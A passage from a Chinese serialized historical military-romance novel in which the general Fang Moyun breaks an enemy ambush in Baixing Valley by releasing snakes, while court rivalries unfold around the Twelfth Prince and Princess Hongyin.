众人一震，齐齐望向茉云。
只见茉云缓缓上前，站在鹿里面前，语气无比决绝地说道：“你这一跪，不只是负了卢正啸，你是负了卢家军，负了千万将士的性命，更是负了南境百姓几世人的盼望。而他打你二十军棍，却只是为了让你在鸿音公主那里解脱，今后她再无颜要求你什么，
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这不是为了罚你，而是为了保你。”
这番话如一声霹雳，击在鹿里的心头，鹿里浑身一震，猛地抬头看向茉云，眼中早已红透，血水从额角划过。
他深深吸了口气，嘴唇紧紧抿着，终是没有再哭。他抬头望向茉云地坚定与清明，双拳紧攥，重重点头道：“末将……谨记。”
“愿君自省！”茉云说完此言，毫不迟疑地转身离开了营帐。正啸望着她背影，风雨之夜，灯火映在她湿润的肩背上，投下斩钉截铁的影子，如此坚定而决绝……
此刻，夜色如墨，阵雨稍歇，空气中仍旧弥漫着潮湿的泥土气息。营地四周沉闷无声，仿佛连风都收了利爪，压抑地偃息而去。
茉云回到自己的营帐，走至营门前，便看到门前立着一人——是萧怀逸。
他背手而立神情沉静，眼神中少了往日的玩世不恭，多了一丝深沉。
茉云脚步未顿，语气平静得像夜色：“何事？”
怀逸也不绕弯子，开门见山的说道：“卢家，是不会相信鸿音会置他们于死地的。”
茉云站在夜色之中，衣襟仍未干透，轻轻一笑，声音微凉地说道：“对。哪怕卢正啸心中明了，鸿音公主此举是要害死十二皇子，否则，他不会不惜性命也要深入百行谷！”
怀逸听得心头一沉，终究还是轻叹一声，低声道：“这一切都只因……昔日王妃，也就是正啸哥的姑姑，曾和他讲过——她无子嗣，愿将圣上每一个孩子都当成自己的亲生儿女。她也曾嘱托正啸哥，凡是皇子，既当做皇子看，也当做姑姑的儿女看，皆如兄弟姐妹。”
茉云一怔，眼中一瞬微动。
怀逸继续道：“所以这些年，正啸哥对每一位皇子都一视同仁，从不偏倚，也从不插手储君之争。他是卢家少帅，从不以权为谋，但若皇子有难，他必不惜生死相救，待他们一片赤诚。”
茉云缓缓转头看他，眸中却透出一丝寒意：“可我不是卢家人。”
怀逸顿时语塞，神情复杂地望着她：“可正啸哥——”
“他是刚正不阿的卢正啸。”茉云冷冷打断他，唇角缓缓扬起一抹几近讥诮的笑意，语气清冷如刀锋，“而我，是方茉云。我从来行事都只为初衷，把事办成了，谁怎么想，谁什么感受，我不在意。”
怀逸站在门口，望着她略显瘦削却异常坚毅的背影，久久不语。
他终究低声道：“可你知，当今圣上最忌讳的，便是皇子相争。你若卷入其中——哪怕只是被传闻有立场之名，那你已经将一只脚踏入鬼门关。”
茉云往自己营帐走去，冷声答道：“只要南境能平，他能赢！”
她的声音并不高，却带着一股令人心惊的执拗与冷烈。
帐帘被风再次掀起，夜色好似将她的身影吞入深处，她仿若一柄不问得失只认目标的长剑，锋芒不收，绝不回鞘。
萧怀逸站在原地，看着她消失的方向，他想起了关若辰说过的话，茉云比这世间任何人都更护他……
355.羁绊
翌日天光微启，雨后的营地尚未彻底清爽，泥泞中透着潮气，营帐间的士兵脚步皆略显匆忙。茉云一早便在巡营，穿过营帐转角处，忽地脚步微顿。
她看见不远处的帐后空地上，十二皇子与一个年少之人蹲在地上，两人低头凑在一块，神情严肃而专注，衣袍沾了些泥水，显得极不寻常。
那孩子她认得，是鸿音公主的儿子，沐阳。
茉云眉心微蹙，脚步悄无声息地靠近几分——只见两人正手忙脚乱地围着一只白色的军中信鸽，十二皇子动作生硬地想撕着白布，似乎想为鸽子包扎，而沐阳则死死捧着鸽子，紧张得额头见汗，嘴里还不住念着：“别动，别动，别怕，修养几天你又能飞起来了……”
茉云看得一脸无语，眼看他们那“救治”——已经和加害并无差别，她皱了皱眉，毫不客气地伸手了——“啪。”的一掌打开了两人的手。
那只鸽子瞬间脱离束缚，轻展翅翼，竟完好无恙地扑扇着飞上了天空，雨后初晴的光映在它洁白的羽上，熠熠生辉。
“哎？它怎么能飞！”沐阳当场怔住，十二皇子亦是一愣。
他们两人还未来得及反应，茉云已懒洋洋地站起，眼角一挑，望着那鸽子的方向，语气却忽然冷冽了几分：“军中信鸽在军中从无人加害，故而它不怕人，在地上慢慢走，并非受伤了！尔等害人就算了，连鸽子都不放过？”
这句话说得风轻云淡，语调却比春风还凉。
十二皇子脸色微变，旋即站直了身子，努力板起脸庞，一副故作威严之态，眼中隐约还有些等着茉云行礼。
此时，他身旁属下晃过神来，便瞪向茉云怒喝道：“大胆——！”
声若震雷，喝声之中满是皇家气焰，震得地上的泥水似乎都震起几滴。连沐阳都被惊得身子一颤，鸽子早飞得无影无踪……
然而，十二皇子面色一沉，立刻回头冷冷地瞪了属下一眼，那人这才闭嘴。
茉云则一脸淡然的神情未变，毫无惧意转身欲走，十二皇子却在此时忽然出声道：“方将军。”
她停步，侧过身去，眼神冷淡的望向十二皇子，眼底隐隐透出一丝嫌弃之色。
十二皇子咳了咳嗽，好似是给自己鼓鼓气，沉声说道：“本王行差就错之事，自己会向父皇请罪，不劳你等口舌。”
茉云听罢，未作多言，只抬眸望向他，那双眼中似有风雨洗尽的清明与凉意，说道：“天怜见，王爷还活着。”
此话一出，营地一角忽然沉静，连风都仿佛为之一顿。
十二皇子面色一凝，深深吸了一口气。他虽年纪不大，阅历尚浅，但生于帝王家，自小便习得洞察言重深意——他明白，茉云并非只是在讽他。
那一役，百行谷刀光剑影，血雨腥风，那一刻，他此生第一次清晰地感受到，皇子二字的份量，或许不是尊荣，而是命悬一线的枷锁……若非卢正啸冒死入谷，亲自将自己与鸿音救出，自己恐怕早已葬身谷底，尸骨都无存。
茉云并不欲与他多言，转身拂袖而去干脆利落，只留下一地静默和十二皇子心中深深地叹息。
晌午过后，阳光微透重云，营地虽未彻底晴朗，却已有几缕光线洒落，照得营帐边角微微泛暖。
正啸醒来方才服下药汤，额间薄汗未干，便听得外头通传：“十二皇子到——”
他眉头微挑，手中药碗还未放稳，便立即起身准备行礼。待帘幕一掀，十二皇子已大步踏入帐内，未着朝服，只是一袭素色宽袍，脸上带着几分仓促与难掩的心事。
正啸恭敬行礼，却刚一弯身，便被对方快步拦住。
“正啸哥！”十二皇子神情复杂，声音带着未曾习惯的亲近，“我……我不知道如何向父皇上奏。”
帐中之人微顿，空气仿佛为之一凝。
茉云亦正坐在一旁，闻言冷冷地抬眸望去，唇角轻挑，眸中讥意一闪而过——此时他知道叫“正啸哥”了？
正啸却神色沉稳，待十二皇子落座之后，他才缓缓坐下，目光坦然地看着十二皇子，声音温和而笃定：“王爷，臣以为，王爷应以最赤诚之心面对君父。”
话语不疾不徐，却如山岳般沉稳。十二皇子一愣，神情渐渐复杂。他低下头眉头轻皱，终究无言只点了点头。他知道，正啸的意思很清楚——卢家军绝不会为任何皇子隐瞒真相。
他怔怔地离开了营帐，脚步有些虚浮，仿佛那番话沉重得压在肩上。直到回到自己营区前方时，刚要掀起帘幕，身后忽然响起一个清冷如风的声音……
“王爷，若想隐瞒此事，倒可去求元帅。但王爷能否承担，除了卢家军之外的人将此事告知朝廷，所招致的——欺君之罪？”
声音不高，却带着极其分明的锋锐，直刺心底。
十二皇子脚步一顿，缓缓转身，望见立于斜阳下的，是一身凌冽茉云，她神情冷淡，眼眸中一片深寒。
他愣了半刻，嘴唇动了动，终是忍不住低声道：“可长公主说……只要卢家军不将此事宣扬开来，一切尚可转圜……”
茉云闻言轻笑一声，笑意凉薄如寒锋破雪，她缓缓走近几步，眸光犀利如刀，一字一句的说道：“那王爷您多听听您长姐的教诲，再认真反思，您是如何入的百行谷，您所有的问题，自迎刃而解。”
话音落下，十二皇子身形一震，眼中神色瞬息变幻。那一瞬，他不知是羞是怒，是惊是疑，只觉身子一冷，如坠冰窟。而茉云不再多言，冷笑着转身，袍角划出一道干脆利落的弧线，步入阳光之中，留下一身干净利落的狠戾之气。
十二皇子站在原地，片刻未动。他望着她离开的背影，脑中反复回响着那句话——再认真回想，您是如何入的百行谷？
他的指节缓缓收紧，眼神中先是茫然，紧接着，一丝微不可察的慌乱悄然浮现……
晚膳之后，天色渐沉，夜幕如墨染般缓缓铺展开来，营地被薄雾笼罩，篝火在远处忽明忽暗，映得营帐间一片静谧。
茉云独自走
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在回营帐的路上，靴下踩过湿泥，留下一串清晰而沉稳的脚印。刚转过一个军旗低垂的帐角，便见前方一人影独立。
那人身着素色便衣，披着一袭风裘，立于夜色之中，身形虽挺，却带着几分踌躇不安。微风拂动他衣摆，露出隐约的龙纹——是十二皇子。
他显然是等在此处多时，神色隐隐焦虑，目光投向来路，似在寻望着什么。
茉云见状，脚步微顿，随即抱拳低声一礼：“殿下。”
她的语气不卑不亢，带着将领该有的凛然与克制。她正欲离开，步履刚启，便传来一声不疾不徐的问询：“方将军，今日晌午之后所言——是为何意？”
茉云顿了顿，回首望他，眼神沉静如镜，语气却一如既往淡然：“启禀十二皇子，字面意思而已。”
简短平静，似水面无波，却让人无法忽视其中深意。
十二皇子静静凝视着她，良久，方开口：“那……长公主她，是想我死吗？”
他的声音低低的，像是在询问，又像是在自问。
“我若死，卢家军大败，军心溃乱……我八哥保荐于我，朝中势力也将受损……她，就是这么想的？”
话未尽，茉云却轻轻一笑，神情平静，眼中却掠过一丝冷意与讽意。那一瞬，她什么也未说，可那目光却仿佛在说——你也没我想象中那么蠢嘛。
十二皇子眉头紧锁，良久方深吸一口气，低声问道：“我来军中，本就六神无主……此刻，方将军，能否为我出个主意？”
茉云闻言，抬眼望他，夜色映在她清冷的面容上，将她的声音衬得更加清晰冷冽：“主意，少帅已为您出了。”
“据实上报？可……”
茉云的声音不高，却斩钉截铁：“您行军莽撞，误入危局，承认即是，后果如何，交由圣心定夺。圣上素来圣明，自会知晓您当时处境，绝不会加罪于您。可若您欺瞒……那便是自寻死路。”
十二皇子怔了半分望向茉云，思索着她所说之话……
茉云缓缓靠近一步，盯着他的双眼，一字一句道：“因为您日后就再也摆脱不了被知情者操纵的命运。而且，终究什么也瞒不过您的君父。”
十二皇子怔怔望着她，脸上浮现出挣扎与痛苦，像是在心中经历着一场激烈的辩驳。片刻之后，他终于深深地、坚定地点了点头。
“我明白了。谢方将军。”
茉云欲转身，语气淡淡地回道：“您该谢的，是少帅。”
她未回头，脚步已继续前行，步伐沉稳如初。身后，十二皇子伫立原地，仰望着远处营火中的人影，眼中泛起莫名的情绪，缓缓开口，低声囔囔道：“我知道……正啸哥是以命相救。这么多年过去了，万般皆物是人非。只有他，还是原来的正啸哥。”
茉云脚步一顿，身影微微一震，回头望向他，眼中一瞬间掠过复杂神色，似是怔忡，又似是轻叹，这一切对卢正啸何尝不是最深的羁绊，而他的对手——幽戎早已毫无牵绊。
356.过谷
翌日，晨雾如烟，残光从云缝中洒下，被连日大雨浸透的大地，泛着沉沉的湿意。军营四周泥泞难行，营帐的绳柱被雨水泡得发黑，旗帜也挂着水珠微微垂下，好似沉睡。
茉云立于高坡之上，望向四方。她眼神凝重，静静注视着营地所在的这片低洼之地。她脑海中已然演练出大雨之后……敌军若趁夜突袭的情形……
此处山势回环，雾气氤氲，四面皆高，唯营地地势下陷，一旦遇敌围攻，四方皆可为箭雨倾泻之源。纵使营垒扎得密实，护壕堆得高整，可若敌军强势袭来，这处易攻难守之地终究难以脱身，便如囚笼一般。
她深吸一口湿重的空气，眼中透出一抹寒光，此地绝非屯军久驻之地，而且军中也急需一场胜仗鼓舞士气，她深深望向远方天边，阴云压顶，山峦模糊如墨，雨未歇，风却已起。风起于青萍之末，乱起于忽微之间——茉云心中警钟已鸣。
就在此时，营门大开，老太君随殿后部队抵达了大营。
她一落轿，未曾歇息片刻，便已听闻百行谷之事，听得卢正啸身受重伤，大军险些遭受重创，顿时神情骤变怒火冲霄。
她披风未解拐杖重重一磕地面，就连将军们都吓得不敢上前行礼，帐中气息顿时冷冽如霜。
而正在此时，一身战衣未换、眼眶通红的鸿音公主却忽然来拜见老太君了，她瞬间跪地拂袖而拜，重重一叩首，泪水夺眶而出。
“老太君——”她声音颤抖，好似已难抑压抑多日的心绪，“都怪我行事鲁莽，可我……其实已退无可退了。”
她一面叩首，一面哽咽着将心中隐痛尽数道出。
“外婆，我虽是新元王后，但那婚姻不过是被迫联姻之果，新元王心上从未有我。王朝中派系倾轧，我空有朝廷长公主的名分支撑，如今所依惟有铁狮军能打胜此战。我若失势……我儿沐阳虽有嫡出太子之名，日后只怕是连性命都岌岌可危。”
她一通哭诉，说到最后她已泣不成声，衣襟泥泞鬓发狼藉，全然不复昔日那位高高在上的长公主的模样。
老太君沉默了许久，眸光沉沉望着她，眼中那雷霆之怒缓缓收敛，最终只叹了一口气，将拐杖敲地轻叩：“你是朝廷长公主，在这权谋深宫之中，独自撑起风雨是属不易。你是莽撞了些，但情也可恕，所幸啸儿无大碍。”
元帅在一旁也深深叹息了一口气，点点头。
晚膳后，怀逸将此事告知了茉云。正值日头西坠，军中营道上风吹得旌旗轻扬。
“老太君也算原谅她了。”怀逸语气沉重，眉头紧蹙，“只是这场戏，唉……越演越深了。”
茉云听完，忽而灿然一笑，那笑容并非轻松，而带着几分慵懒的戏谑与锋芒。
怀逸愣了半刻，满脸愁容地看向她：“你还笑什么？”
茉云扬眉看他，淡淡说道：“这世上难得有人比我戏还好，着实也值得一斗。”
怀逸神情凝重，低声问道：“那你有何打算？”
茉云并未正面作答，只是缓缓转身，目光看向远处军营中灯火微亮、重重帐幕后的方向，眼中一丝狠戾一闪而过：“我现在是没空与鸿音周旋，但你放心……有人不会放过她！”
“谁！”
“十二皇子啊！”茉云抬目望向怀逸那瞬间质疑的表情，她轻笑道，“你真以为——十二皇子是个被操控的小儿？”
“何意？”
“他韬光养晦多年，如今刚一出山，便被他父皇委以重任，将卢家军督军这等汇聚荣耀和压力的重担交到他手上？他如今仅仅是阅历尚浅，但他能屈能伸，可动心忍性，只需稍稍点拨……”茉云一字一句冷冷落下，声虽轻，却如寒锋入骨，“他若真是个傻子，圣上怎会派他来？”
怀逸瞳孔微缩，望向茉云，忽觉风起云涌，局势愈发沉重难测。
“他绝对是不会放过鸿音的，这样也好！如今我最紧要的，是将大军从这片低洼泥沼中抽身而出，穿过百行谷，夺下一处可驻之地。”茉云边走边望向远方的百行谷的方向……
而就在此时，峑戎都城之中，幽戎正立在城关望着灰白天幕百行谷的方向，忽而轻笑出声，低喃自语道：“方茉云，百行谷地势无河你放不了大水，连绵大雨你火也放不起来，那这密布埋伏的百行谷，你打算如何破？”
他身边的集益隐隐的看向幽戎，他似乎丝毫并不担心战况，反而十分期待……
翌日清晨，茉云在营中如无事人一般，穿梭于营中与将士们闲聊。傍晚时分，她悄然挑出一小队人马，五十余人，装扮简素夜色中出营，一昼夜未归。
待到第二日黄昏，营门前忽然尘土飞扬，茉云和这一行人终于归来，只见他们满载而归，马背后扛着十几大袋沉甸甸之物，而且袋中微动……
未及休息，茉云便披甲去往跟元帅营帐请命，自请率兵去探百行谷，拔除一切暗营埋伏。元帅本觉得此行凶险，最终是老太君走进来了主营，她赞成茉云前去。
元帅正色不语，良久后他传来了沧海，下令让沧海带兵随她一同前往，也允了十二皇子要求的同往。老太君意味深长的看向，茉云淡然一笑，示意她放心，十二皇子跟她和沧海在一起，绝不会有恙。
军令一出，旌旗即动，队伍即刻整装。
而正啸饮下汤药后，一直在营中修养刚醒，忽闻营外军令连发、鼓声震营，好似有人马出营……
他顿时心惊，他知道全军之中，现在有胆识带兵出营的，只有一人，那便是天不怕地不怕的——茉云，他未等身边人阻止，已挣扎着从床上起身，披上外袍冲出帐外。
“方将军何在？是她率兵出营？”
门外传来润吉迅速赶来回应：“启禀少帅，方将军向元帅请命率兵破谷，她刚和十二皇子、沧海将军出营了！”
正啸神色一震，转身便要回营穿盔甲，可才走两步，身子猛然一晃，强撑着营帐木柱，只觉一阵头晕目眩。
“莫非就你能打战，”这时，一道苍老却稳重的声音传来，“你就这么不相信她？”
他猛然回头，只见老太君撑着拐杖缓步而来，眉眼冷厉而沉静，衣角微湿却神色如山。
“她行兵布阵，早已不比卢家人差，而且她总有奇招！”老太君缓缓道，声音不高，却字字掷地有声。
正啸垂下眼睫，眼底波澜翻涌，却终究没有再说半句，他何曾不知道老太君说的这些，可是百行谷内凶险万分……
百行谷内，雾气沉沉草木浓密，常年阴雨不止，浓湿如毒瘴。茉云带着一行人抵达谷口，未做停留，便趁着夜色缓缓入谷。夜色渐深，山谷间鬼影幢幢，枯枝间寒鸦乱叫，好似真有百鬼夜行……
但她从无畏惧，她命众人卸下并打开所携的数十麻布袋，士兵们一一照做，小心割绳，顿时“吱吱——沙沙——”
麻袋一开，竟是成千上万条蛇翻涌而出，大小不一，花纹各异，如潮水般迅速没入山石草丛之间，顷刻间，谷中蛇声四起，阴风扑面。
茉云站在山道之上，披着墨色斗篷，冷眼望着这一切，唇角却勾起一抹冷笑：“百鬼夜行？既是这鬼魅寒毒之地，那便以毒攻毒，看看这瘴谷藏魂，是不是
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怕蛇。”
果不其然，不过一炷香光景，谷中深处便传来阵阵惨叫与惊呼。起初零散微弱，随后此起彼伏，好似山林都在嘶吼挣扎。
“蛇！蛇——！”
“啊——！”
这些峑戎的暗营之人潜伏谷中，纵然训练有素惯于死战，可峑戎本土少蛇。茉云目中透出一丝冷厉狠意，昔日毒戎在峑戎也是以蛇毒让人噤若寒蝉，民间谈之色变，童子夜哭，足见他们也甚为畏惧。
如今突然万蛇横行，蛇影遍地，那根植于心底的畏惧便瞬间爆发。伏兵虽未全溃，但已然混乱不堪，箭阵错乱阵脚尽失。
此时，天已微亮，茉云冷声下令：“沾雄黄，列队入谷——乘乱破敌！”
“是！”
她亲自带队深入谷中混战，卢家军射手早已严阵以待，只要敌军乱阵，一有动静，便万箭齐发。
一支支利箭雨点般射出，只要谷中有一丝响动，便迅速被锁定围歼。伏兵苦不堪言，只能一边抵挡毒蛇之扰，一边防御箭矢，却终被压制得节节败退。敌将亦身受重伤，终只得咬牙下令，让全军撤出百行谷……
战至暮色尽褪，谷口终为卢家军所夺。风雨未歇，瘴气未散，可此刻的百行谷，不再是百鬼夜行，卢家军的旗帜已高扬，控制了此地。
茉云当即命罗虎统军驻守山谷，并命士兵在大军行军沿线泼洒雄黄，划出蛇不靠近的生道，又遣快骑回报元帅，百行谷已破。
茉云则继续带着小队人马穿谷而过，在暮色彻底落下前，终于找到一处一面环山、一面临溪的平坦之地，地势开阔且背风隐蔽，适合大军驻扎。
众人已疲惫至极，干脆各自倚石而坐，吃着干粮，星月此时已高悬夜空。
十二皇子也席地而坐，靠着一块巨石，衣袍微湿，脸上难掩风尘。茉云坐在他不远处，看着他掏出干粮反复掸灰，面色木然却也透着倔强。
她随手扔了一个刚从山林里摘来的野果过去，砰地一声，落在他膝头。
十二皇子一愣，抬头看了她一眼。
“用袖子擦擦就能吃。”茉云懒懒靠着一旁，嘴角含笑，“好东西得先要孝敬主子嘛！”
十二皇子翻了个白眼，终是饿极了，袖口一抹便咬了一口，皱眉嚼了嚼，虽未吃过但味道不错便欣然咽下了。
“将士们能过的日子，我也能过。”他还一边低声道，语气却不怨不怒，竟有几分坚毅。
茉云看着他，眼底的锋芒收了几分，轻轻一笑：“他也没白救你。”
十二皇子手一顿，握着果子的手微微发紧，他知道正啸是真心救自己，而今日自己跟茉云行军虽然险，但茉云终究是为救自己一命，以此军功弥补当日之过失。父皇亦不至于那般动怒……
他抬头看向那静谧夜色，心中五味杂陈。
良久后，他忽然看着茉云，眼中好似一晃闪出往昔的回忆说道：“我第一次见正啸哥之时，是幼时在王府，我并不知道他是谁，幼时他便高大威猛，正义凛然，我见他都有几分怯懦不敢言语，大娘当日指着他向我说，谁欺负你告诉他，这个哥哥会护着你……。”
茉云望向十二皇子，语气带着几分戏谑和调侃地说道：“是吗？我第一次见卢正啸，是在一个莺歌燕舞之所，我也不知道他是谁，我也觉得她高大威猛，就那种场合嘛……再者我这人亦没有什么不敢言语的，开口第一句便问他，你？怎么卖？”
十二皇子怔了半刻看向茉云，顿时畅然而笑，笑得前俯后仰，茉云回想起当日的情形也被逗笑了，一晃这么多年过去了……
357.离开
夜深之时，峑戎都城暮色沉沉，阴风自石墙罅隙中穿堂而过，冷得人骨节生凉。
王殿高台之上，幽戎一袭黑衣斜倚在榻前，手中摇着一盏冷酒，窗外雷声滚动，夜雨欲来。
忽然，一只羽翼斑斓的信鸽破风而至，悄无声息落于王宫外。暗营探营之人马上上前将密信取下呈给了幽戎。
幽戎微微扬眉接过一看，纸上不过寥寥数语，却已道尽百行谷被破、所有埋伏覆灭的前因后果。
他看罢，轻轻一笑，声音低哑如雾夜沉钟：“百行谷……她竟真过了。”
语罢，他将纸缓缓揉成一团，丢入烛火。火舌舔纸的刹那，他倚在椅中，望着窗外将落未落的雷雨天，唇角微扬，眼神却透着一抹笑意。
“方茉云，你果然是妖怪变的。”幽戎笑着喃喃说道，他神情中没有怒意，似是赞赏，又似棋逢对手的隐隐战意。
翌日日上之时，大军便依照茉云早先所探之地，浩浩荡荡渡过百行谷，到达了茉云寻得驻守之地。开始安营扎寨。
元帅看着将士各守其位，旗帜在山风中猎猎作响，一派新气象，都不禁赞叹：“得茉云，我卢家军此战必胜！”
而茉云并未在守地，她四处勘探敌情未归，正啸在中自己营帐中，正啸刚施完针灸，尚未披甲，忽听帐帘被掀，一道身影如风般扑进。
茉云毫不犹豫地扑入他怀里，撞得正啸一个踉跄。
正啸怔了片刻，随即神情透出了温和，伸手抚上她的长发，指尖绕过她额间微湿的鬓发，低声笑道：“盔甲是挺凉的。”
茉云轻轻抬头看向正啸，一脸灿然的笑意。
白神医眼中透出一丝无语，立刻退出了营帐，让两人都沉浸在彼此的温柔之中。
他回到了营帐，听到不言一脸感叹的说道：“师傅，我也真是佩服方茉云，骑行去那么远的龙山抓了那么多蛇，又赶回营帐率部破谷，不眠不休，好似战神附体一般，但也不是，战神定想不出这么阴损的招，她不准我下毒，她自己又可以放蛇！”
白神医笑着摸胡须说道：“你下毒是为了害人，而她放蛇只是驱人，而且我听说她下令只抓无毒蛇和微毒蛇，并没有抓剧毒蛇！茉云行事总是看似狠戾，心中却带着一丝底线！倒是你……若是我夫人，你女师傅知道了，你曾想下毒……”
“哎，师傅，我知道了！我知道了，我绝不再犯！”不言马上一脸畏惧的哀求白神医说道，“师傅，我求您了，您别告诉她！等下将她气坏了也不好，是不？”
白神医无语的摇摇头也没有说什么，而就在此时十二皇子走了进来。
白神医马上行礼道：“见过十二皇子，请问您是否有何不适？”
“就是想问白神医你取些祛湿热之药，这几日总偶感不适水土，口干舌燥，饮水不止，寝食难安！”
白神医旋即请十二皇子坐下，为他诊脉，十二皇子则不禁看向了不言，心中不禁叹息道，徒儿犯错可跟师傅撒娇，耍赖，祈求原谅。而他犯了错呢？圣心难测，他都不知道他的父皇会如何责罚自己……
大军安营扎寨的之后，日已黄昏，虽放晴了一日，但营帐尚未干透，军帐四野泥泞未褪，忽而传来了惊人的消息——圣上竟亲驾西境西王府邸！
消息一出，整个军中为之一震。圣驾未临前线却西顾王府，定然是为鼓舞军心，唯有军中心思缜密之人眉头紧蹙，隐觉风云翻涌。
元帅帐中也接到了飞鸽传书，据说圣上一抵西王府尚未落座，便听闻前线战事突然搁置，雷霆震怒。
翌日，朝旨如风火夜驰到达了军营，圣上急召十二皇子去面圣，传令军中暂缓攻伐。正逢雨季，山路泥滑，大军本已打算休整，这道圣旨倒也未引动表面波澜，只有十二皇子如坐针毡。
第二日清晨，雨霁云收，晨曦穿过云层，斜照入军营，军旗在晨风中猎猎作响。
十二皇子立于军营门前等待出发，面色透着深深不安，眼神游移不定，唇角始终紧抿着一丝未知的忧虑。
这时，鸿音公主一袭宫衣亲自送他到军门，眉目柔和，安抚道：“十二弟，你不必忧心，长姐已向元帅求过情，元帅已草拟奏折，请旨由卢家军承担责罚，为你我缓了重罪。日后你若归朝安然，便好生记着元帅这份情。”
她语气温婉，眼神却意味深长，既似护弟情深，又似暗植期许。十二皇子闻言，神情顿时仿若一块悬石终于落地，松了口气般抬头望向她，郑重地点头：“多亏长姐照拂，解了十二弟今日之困。”
鸿音盈盈一笑，抬手轻轻替他拂去肩上的尘雨，柔声道：“当日娘亲便说过，要我待你们几个皇弟皆如亲生骨肉。我虽身在异国，终究记得！”
她眉眼低垂，似慈姊抚幼弟，温柔安然，十二皇子微微一怔，眼中亦染上几分真挚，低声道：“儿时之言，犹在耳边。”
这时，一旁的茉云静静站在行军道旁，冷眼观望，她只是缓缓地望着，看着十二皇子在嫡公主面前低眉顺眼，一脸感恩的样子，她唇角微扬，眼神里没有轻蔑，也没有冷峻，只有一种——了然于心的肯定，此人是可造之材。
十二皇子言毕踏上战马，披风微扬，鬓边沾着晨露，他似有所感亦回头遥遥望来。和茉云的目光在山雨欲来的大军之间交汇，一明一暗，却都清楚，他们虽走的是不同的路，但此刻——彼此已非最初那般轻看对方。
大雨之下，一晃数日，高公公带着圣上来营，一切惊变，圣上在口谕中，并未半分责罚十二皇子，只是轻描淡写责其轻敌冒进，反而圣意中重音一落，狠狠斥责了鸿音公主擅自调兵、鲁莽入谷，还说她一来军中就为司融重犯求情，如今又打乱了正啸破敌的部署，在卢家军何以如此长袖善舞！
更在话语中亦点了卢家，说卢家军忠心护国，日后无需维护皇子尊严，只当如实禀报，毋隐实情。
众人听罢皆心惊，但这还未结束。来人高公公还带来了另外一则圣旨的消息，说新执掌吏部的五皇子处事不明、未解朝廷之忧，深负圣望，圣上震怒特命其返家自省。
这道旨意，看似是圣上雷霆治下，却深藏秋后算账之意，显然圣上洞察了鸿音公主背后的谋算以及卢家军对她的相护，只是不动声色声东击西，这道圣旨一下，无异于狠狠削弱了其弟五皇子在朝中初稳的根基——而众人皆知，这一手，便是皇上对鸿音公主最狠的处置。
而圣上如何能在这么短的时间知晓一切，只有一个可能——那便是十二皇子面圣之时，将一切对皇上和盘托出，狠狠摆了鸿音公主一道。
鸿音公主接旨之后，便在营帐中闭门不出，好似一幅真心待人却被出卖的怅然所失……
午膳时，茉云坐于伙营之中，衣甲未解，端着一碗饭吃着。怀逸一身灰衣侧身坐下，压低声音凑近说道：“鸿音公主此举，当真是偷鸡不成蚀把米。刚老太君还亲自去宽慰她了！”
茉云神情淡淡，连眼皮都未抬一下，筷子一挑，夹菜如常：“世上棋多
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者多，却不是每个人都算得过天子。”
“圣上总是火眼金睛！”
正说话间，执礼匆匆而至，在茉云身旁犹豫了半刻说道：“方将军，少帅刚下军令，让你这几日带运粮队伍回程。”
茉云略一点头，风轻云淡地放下了碗筷。萧怀逸顿时吃惊的看向执礼，而茉云并不惊讶。她知道，自己但凡做了什么，卢正啸总知道。
“好！”茉云冷冷接令道，望向执礼回以最刚烈的神情，眸光锐利如刃，不含丝毫妥协。
执礼神色迟疑，带着一份叹息的，低声问道：“茉云，五皇子若在朝彻底失势，鸿音公主或许会……失去对新元铁狮军的执掌……”
茉云转身一笑，那笑意却冷如霜雪，打断了执礼的话：“军师慎言……你是否意指卢家军会为了一场战事，支持五皇子得势，成为太子？”
她话语一出，顿时周遭寂静如坠冰窖，怀逸亦愣了半刻望向茉云，这是何其严重的指控。
执礼脸色骤变，心知失言，立刻疾声道：“那是你误会了！我无此意，卢家军亦绝无此意！”
茉云却不言，只冷眼看他一眼，冷笑着拂袖离去。她背影决绝如风过锋刃，刀未出鞘已露其寒意。
她一出帐，便沉声下令道：“粮草押运之队立即整备，半个时辰之后离营。”
军士一愣皆不敢怠慢，连忙照办。而茉云不作停留，转身径直去了元帅营帐。
元帅才刚歇息片刻，便听得茉云报到，急忙坐起：“茉云，何事来得这般急？”
茉云不等奉茶，便抱拳说道：“禀元帅，运粮之事已毕，末将请命回程。”
元帅微怔，正欲开口阻止，却见茉云已拱手行礼，身影决然地转身而去，干脆果断得不容一丝挽留。
元帅声音里带着急切的赶忙问道：“茉云啊，何不明日一早再动身？”
可营帐帘布已被风掀开，茉云的背影早已消失在，未曾应声。
半个时辰之后，茉云整装完毕，铁骑已成列。狂风卷着斜阳，将她的披风吹得猎猎生风，她飞身上马未曾回头望一眼。
因她心中明了，此刻自己和卢家第一次有了巨大的分歧——他们将铁狮军和鸿音视作盟友，而她自己，却早已将他们视作比敌军更可怕的存在。她已不想再争，也无需再争。只要她还活着，就会守着她自己这把剑，定然要斩断鸿音公主一切妄念。
正当茉云率部行至营门之时，一道熟悉的身影自另一侧的缓缓而来，是鸿音公主。
她一袭轻纱斗篷，风雨中仍显端庄从容，步履从容地向主营而来。两人正好在营□□错而过。
那一瞬间，四目相对，鸿音的眼神中，带着一丝淡淡的讥讽，那双眼好似在无声地说：你终究不是卢家人，他们始终信我，纵然你战功显赫，还不是被赶出军营……
茉云面无表情地勾唇一笑，顿时策马扬鞭，烈马一声嘶鸣，马蹄飞扬而起，径自向着西南风雨深处奔去，衣袂翻飞，背影潇然。
她的笑意冷冽如雪，眼中毫不掩饰的轻蔑与锋芒，宛如刀光般划过。没有言语，也不必有言语，两人已是势同水火……
而正啸此刻坐在营帐内，帐中仍然是药香甚浓，隐隐苦气扑鼻。茉云离去的马蹄声渐渐传来，他眼神中带着一丝疲惫，却依旧挺拔清明，只是那目光，夹杂些许复杂的痛惜和不舍，可他终究未走出去，他知道茉云未必能体谅，可此刻将她赶走，离开自己身边，她才会是安稳的……
358.难全
暮色沉沉，元帅营帐内烛火微摇，老太君一脸愁容的坐在椅上，双眉紧蹙，元帅亦是一脸沧桑而深沉的表情。
鸿音公主被丫鬟扶着步入营中，步履缓慢却不失稳重，眉眼间一如既往端庄大度，身旁樊嬷嬷则满面怒容、紧随其后。
老太君端坐于上座，未语先命：“去唤正啸来。”
片刻后，正啸身着玄衣神色淡定的走了进来。他一入营，行礼后并未言语，静静坐于一旁。
